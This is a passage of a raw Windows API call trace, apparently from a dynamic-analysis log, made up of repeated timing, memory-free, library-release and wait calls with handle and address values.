lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x513bb041, dwHighDateTime=0x1d9eb0c)) [0188.544] free (_Block=0x196ef0d1ae0) [0188.544] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0188.544] free (_Block=0x196ef0d67b0) [0188.545] free (_Block=0x196ef0fbbd0) [0188.545] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x513e11a0, dwHighDateTime=0x1d9eb0c)) [0188.552] free (_Block=0x196ef0d1960) [0188.552] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0188.552] free (_Block=0x196ef0d67b0) [0188.553] free (_Block=0x196ef0fb7c0) [0188.553] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x513e11a0, dwHighDateTime=0x1d9eb0c)) [0188.562] free (_Block=0x196ef0d1f20) [0188.562] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0188.563] free (_Block=0x196ef0d67b0) [0188.563] free (_Block=0x196ef0fb860) [0188.563] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.815] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.815] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0188.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5180d0fa, dwHighDateTime=0x1d9eb0c)) [0188.995] free (_Block=0x196ef0d1ae0) [0188.995] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0188.995] free (_Block=0x196ef0d67b0) [0188.996] free (_Block=0x196ef0fb8b0) [0188.996] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5187f6fa, dwHighDateTime=0x1d9eb0c)) [0189.033] free (_Block=0x196ef0d1fe0) [0189.033] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.035] free (_Block=0x196ef0d67b0) [0189.036] free (_Block=0x196ef0fbc20) [0189.036] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.036] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x519fcc86, dwHighDateTime=0x1d9eb0c)) [0189.197] free (_Block=0x196ef0d1fc0) [0189.197] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.198] free (_Block=0x196ef0d67b0) [0189.198] free (_Block=0x196ef0fc0d0) [0189.198] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x51a2341e, dwHighDateTime=0x1d9eb0c)) [0189.220] free (_Block=0x196ef0d1ba0) [0189.220] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.220] free (_Block=0x196ef0d67b0) [0189.221] free (_Block=0x196ef0fb220) [0189.221] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x51a4912e, dwHighDateTime=0x1d9eb0c)) [0189.229] free (_Block=0x196ef0d1e60) [0189.229] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.230] free (_Block=0x196ef0d67b0) [0189.230] free (_Block=0x196ef0fb680) [0189.231] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x51c5f200, dwHighDateTime=0x1d9eb0c)) [0189.439] free (_Block=0x196ef0d1d40) [0189.439] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.439] free (_Block=0x196ef0d67b0) [0189.440] free (_Block=0x196ef0fbdb0) [0189.440] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x51c5f200, dwHighDateTime=0x1d9eb0c)) [0189.447] free (_Block=0x196ef0d1a20) [0189.447] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.448] free (_Block=0x196ef0d67b0) [0189.448] free (_Block=0x196ef0fb6d0) [0189.449] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x51c5f200, dwHighDateTime=0x1d9eb0c)) [0189.453] free (_Block=0x196ef0d1aa0) [0189.453] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.453] free (_Block=0x196ef0d67b0) [0189.454] free (_Block=0x196ef0fb5e0) [0189.455] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.459] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x51c85f82, dwHighDateTime=0x1d9eb0c)) [0189.460] free (_Block=0x196ef0d20e0) [0189.460] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.461] free (_Block=0x196ef0d67b0) [0189.461] free (_Block=0x196ef0fbd60) [0189.462] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x51c85f82, dwHighDateTime=0x1d9eb0c)) [0189.467] free (_Block=0x196ef0d2080) [0189.467] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.468] free (_Block=0x196ef0d67b0) [0189.469] free (_Block=0x196ef0fb680) [0189.469] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x51cab65b, dwHighDateTime=0x1d9eb0c)) [0189.478] free (_Block=0x196ef0d1fa0) [0189.478] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.479] free (_Block=0x196ef0d67b0) [0189.480] free (_Block=0x196ef0fb7c0) [0189.481] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5214a074, dwHighDateTime=0x1d9eb0c)) [0189.963] free (_Block=0x196ef0d1ca0) [0189.963] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.964] free (_Block=0x196ef0d67b0) [0189.964] free (_Block=0x196ef0fb310) [0189.965] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52170388, dwHighDateTime=0x1d9eb0c)) [0189.973] free (_Block=0x196ef0d1d20) [0189.973] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.973] free (_Block=0x196ef0d67b0) [0189.973] free (_Block=0x196ef0fb3b0) [0189.974] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52170388, dwHighDateTime=0x1d9eb0c)) [0189.980] free (_Block=0x196ef0d1a60) [0189.980] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.980] free (_Block=0x196ef0d67b0) [0189.981] free (_Block=0x196ef0fbe00) [0189.981] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5219688c, dwHighDateTime=0x1d9eb0c)) [0189.988] free (_Block=0x196ef0d20c0) [0189.988] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.988] free (_Block=0x196ef0d67b0) [0189.989] free (_Block=0x196ef0fb860) [0189.989] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0189.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5219688c, dwHighDateTime=0x1d9eb0c)) [0189.996] free (_Block=0x196ef0d1bc0) [0189.996] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0189.996] free (_Block=0x196ef0d67b0) [0189.997] free (_Block=0x196ef0fb450) [0189.997] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x522c85e6, dwHighDateTime=0x1d9eb0c)) [0190.122] free (_Block=0x196ef0d1d20) [0190.122] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.123] free (_Block=0x196ef0d67b0) [0190.124] free (_Block=0x196ef0fba40) [0190.124] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.154] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.154] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x523ac542, dwHighDateTime=0x1d9eb0c)) [0190.220] free (_Block=0x196ef0d1e80) [0190.220] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.220] free (_Block=0x196ef0d67b0) [0190.221] free (_Block=0x196ef0fba40) [0190.221] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x523d2885, dwHighDateTime=0x1d9eb0c)) [0190.227] free (_Block=0x196ef0d19a0) [0190.227] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.228] free (_Block=0x196ef0d67b0) [0190.228] free (_Block=0x196ef0fb3b0) [0190.228] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x523d2885, dwHighDateTime=0x1d9eb0c)) [0190.236] free (_Block=0x196ef0d1fa0) [0190.236] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.236] free (_Block=0x196ef0d67b0) [0190.237] free (_Block=0x196ef0fbe50) [0190.237] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x523f8a06, dwHighDateTime=0x1d9eb0c)) [0190.242] free (_Block=0x196ef0d1ca0) [0190.242] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.242] free (_Block=0x196ef0d67b0) [0190.243] free (_Block=0x196ef0fb450) [0190.243] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x523f8a06, dwHighDateTime=0x1d9eb0c)) [0190.249] free (_Block=0x196ef0d1f60) [0190.249] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.249] free (_Block=0x196ef0d67b0) [0190.250] free (_Block=0x196ef0fb720) [0190.250] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52529e04, dwHighDateTime=0x1d9eb0c)) [0190.375] free (_Block=0x196ef0d2080) [0190.375] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.376] free (_Block=0x196ef0d67b0) [0190.377] free (_Block=0x196ef0fb220) [0190.377] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5254ff85, dwHighDateTime=0x1d9eb0c)) [0190.390] free (_Block=0x196ef0d1ac0) [0190.390] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.390] free (_Block=0x196ef0d67b0) [0190.391] free (_Block=0x196ef0fbe50) [0190.391] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.424] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.424] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5273fec9, dwHighDateTime=0x1d9eb0c)) [0190.592] free (_Block=0x196ef0d1da0) [0190.592] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.593] free (_Block=0x196ef0d67b0) [0190.594] free (_Block=0x196ef0fb810) [0190.594] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52766332, dwHighDateTime=0x1d9eb0c)) [0190.611] free (_Block=0x196ef0d1ec0) [0190.611] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.612] free (_Block=0x196ef0d67b0) [0190.613] free (_Block=0x196ef0fb270) [0190.613] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5278c64b, dwHighDateTime=0x1d9eb0c)) [0190.625] free (_Block=0x196ef0d1d60) [0190.625] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.625] free (_Block=0x196ef0d67b0) [0190.626] free (_Block=0x196ef0fbbd0) [0190.626] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x528bdc9c, dwHighDateTime=0x1d9eb0c)) [0190.742] free (_Block=0x196ef0d1ca0) [0190.742] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.743] free (_Block=0x196ef0d67b0) [0190.744] free (_Block=0x196ef0fb680) [0190.744] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x528bdc9c, dwHighDateTime=0x1d9eb0c)) [0190.750] free (_Block=0x196ef0d1980) [0190.750] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.751] free (_Block=0x196ef0d67b0) [0190.752] free (_Block=0x196ef0fb4f0) [0190.752] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x528e39a7, dwHighDateTime=0x1d9eb0c)) [0190.757] free (_Block=0x196ef0d1aa0) [0190.757] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.758] free (_Block=0x196ef0d67b0) [0190.758] free (_Block=0x196ef0fba40) [0190.758] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x528e39a7, dwHighDateTime=0x1d9eb0c)) [0190.763] free (_Block=0x196ef0d1bc0) [0190.763] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.764] free (_Block=0x196ef0d67b0) [0190.765] free (_Block=0x196ef0fbdb0) [0190.765] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52909a07, dwHighDateTime=0x1d9eb0c)) [0190.774] free (_Block=0x196ef0d1a60) [0190.774] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.775] free (_Block=0x196ef0d67b0) [0190.776] free (_Block=0x196ef0fb5e0) [0190.776] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0190.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52909a07, dwHighDateTime=0x1d9eb0c)) [0190.781] free (_Block=0x196ef0d1ae0) [0190.781] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0190.781] free (_Block=0x196ef0d67b0) [0190.782] free (_Block=0x196ef0fb220) [0190.782] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52bd0116, dwHighDateTime=0x1d9eb0c)) [0191.076] free (_Block=0x196ef0d1c80) [0191.076] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.077] free (_Block=0x196ef0d67b0) [0191.078] free (_Block=0x196ef0fbea0) [0191.078] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52c1cf11, dwHighDateTime=0x1d9eb0c)) [0191.094] free (_Block=0x196ef0d2060) [0191.094] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.095] free (_Block=0x196ef0d67b0) [0191.095] free (_Block=0x196ef0fb950) [0191.096] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52c1cf11, dwHighDateTime=0x1d9eb0c)) [0191.104] free (_Block=0x196ef0d1fe0) [0191.104] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.105] free (_Block=0x196ef0d67b0) [0191.106] free (_Block=0x196ef0fba40) [0191.108] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52c428a4, dwHighDateTime=0x1d9eb0c)) [0191.113] free (_Block=0x196ef0d1e60) [0191.113] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.113] free (_Block=0x196ef0d67b0) [0191.114] free (_Block=0x196ef0fbd10) [0191.114] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52c68ae5, dwHighDateTime=0x1d9eb0c)) [0191.122] free (_Block=0x196ef0d1a60) [0191.122] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.122] free (_Block=0x196ef0d67b0) [0191.123] free (_Block=0x196ef0fc120) [0191.124] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52e7f58a, dwHighDateTime=0x1d9eb0c)) [0191.347] free (_Block=0x196ef0d1ec0) [0191.347] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.348] free (_Block=0x196ef0d67b0) [0191.348] free (_Block=0x196ef0fb9a0) [0191.349] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52e7f58a, dwHighDateTime=0x1d9eb0c)) [0191.357] free (_Block=0x196ef0d1b00) [0191.357] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.357] free (_Block=0x196ef0d67b0) [0191.358] free (_Block=0x196ef0fb270) [0191.358] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52ea4eaa, dwHighDateTime=0x1d9eb0c)) [0191.364] free (_Block=0x196ef0d1a20) [0191.364] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.365] free (_Block=0x196ef0d67b0) [0191.365] free (_Block=0x196ef0fba40) [0191.365] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x52ecb1e8, dwHighDateTime=0x1d9eb0c)) [0191.374] free (_Block=0x196ef0d20a0) [0191.374] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.375] free (_Block=0x196ef0d67b0) [0191.376] free (_Block=0x196ef0fb950) [0191.376] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.652] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.652] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.828] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5331d56f, dwHighDateTime=0x1d9eb0c)) [0191.828] free (_Block=0x196ef0d1c40) [0191.829] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.830] free (_Block=0x196ef0d67b0) [0191.831] free (_Block=0x196ef0fb220) [0191.831] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5331d56f, dwHighDateTime=0x1d9eb0c)) [0191.838] free (_Block=0x196ef0d1d00) [0191.838] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.839] free (_Block=0x196ef0d67b0) [0191.841] free (_Block=0x196ef0fb680) [0191.844] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53344b09, dwHighDateTime=0x1d9eb0c)) [0191.850] free (_Block=0x196ef0d1d40) [0191.851] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.852] free (_Block=0x196ef0d67b0) [0191.853] free (_Block=0x196ef0fb220) [0191.853] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5336a1a6, dwHighDateTime=0x1d9eb0c)) [0191.867] free (_Block=0x196ef0d1ac0) [0191.868] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.868] free (_Block=0x196ef0d67b0) [0191.869] free (_Block=0x196ef0fbea0) [0191.870] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5349aca8, dwHighDateTime=0x1d9eb0c)) [0191.985] free (_Block=0x196ef0d1e60) [0191.985] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.985] free (_Block=0x196ef0d67b0) [0191.986] free (_Block=0x196ef0fb720) [0191.986] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0191.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5349aca8, dwHighDateTime=0x1d9eb0c)) [0191.993] free (_Block=0x196ef0d1c40) [0191.993] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0191.994] free (_Block=0x196ef0d67b0) [0191.994] free (_Block=0x196ef0fb720) [0191.994] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x534c0ff2, dwHighDateTime=0x1d9eb0c)) [0192.003] free (_Block=0x196ef0d1bc0) [0192.003] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.004] free (_Block=0x196ef0d67b0) [0192.004] free (_Block=0x196ef0fb5e0) [0192.004] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.075] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.075] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5363e62d, dwHighDateTime=0x1d9eb0c)) [0192.162] free (_Block=0x196ef0d1de0) [0192.162] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.163] free (_Block=0x196ef0d67b0) [0192.163] free (_Block=0x196ef0fbfe0) [0192.163] 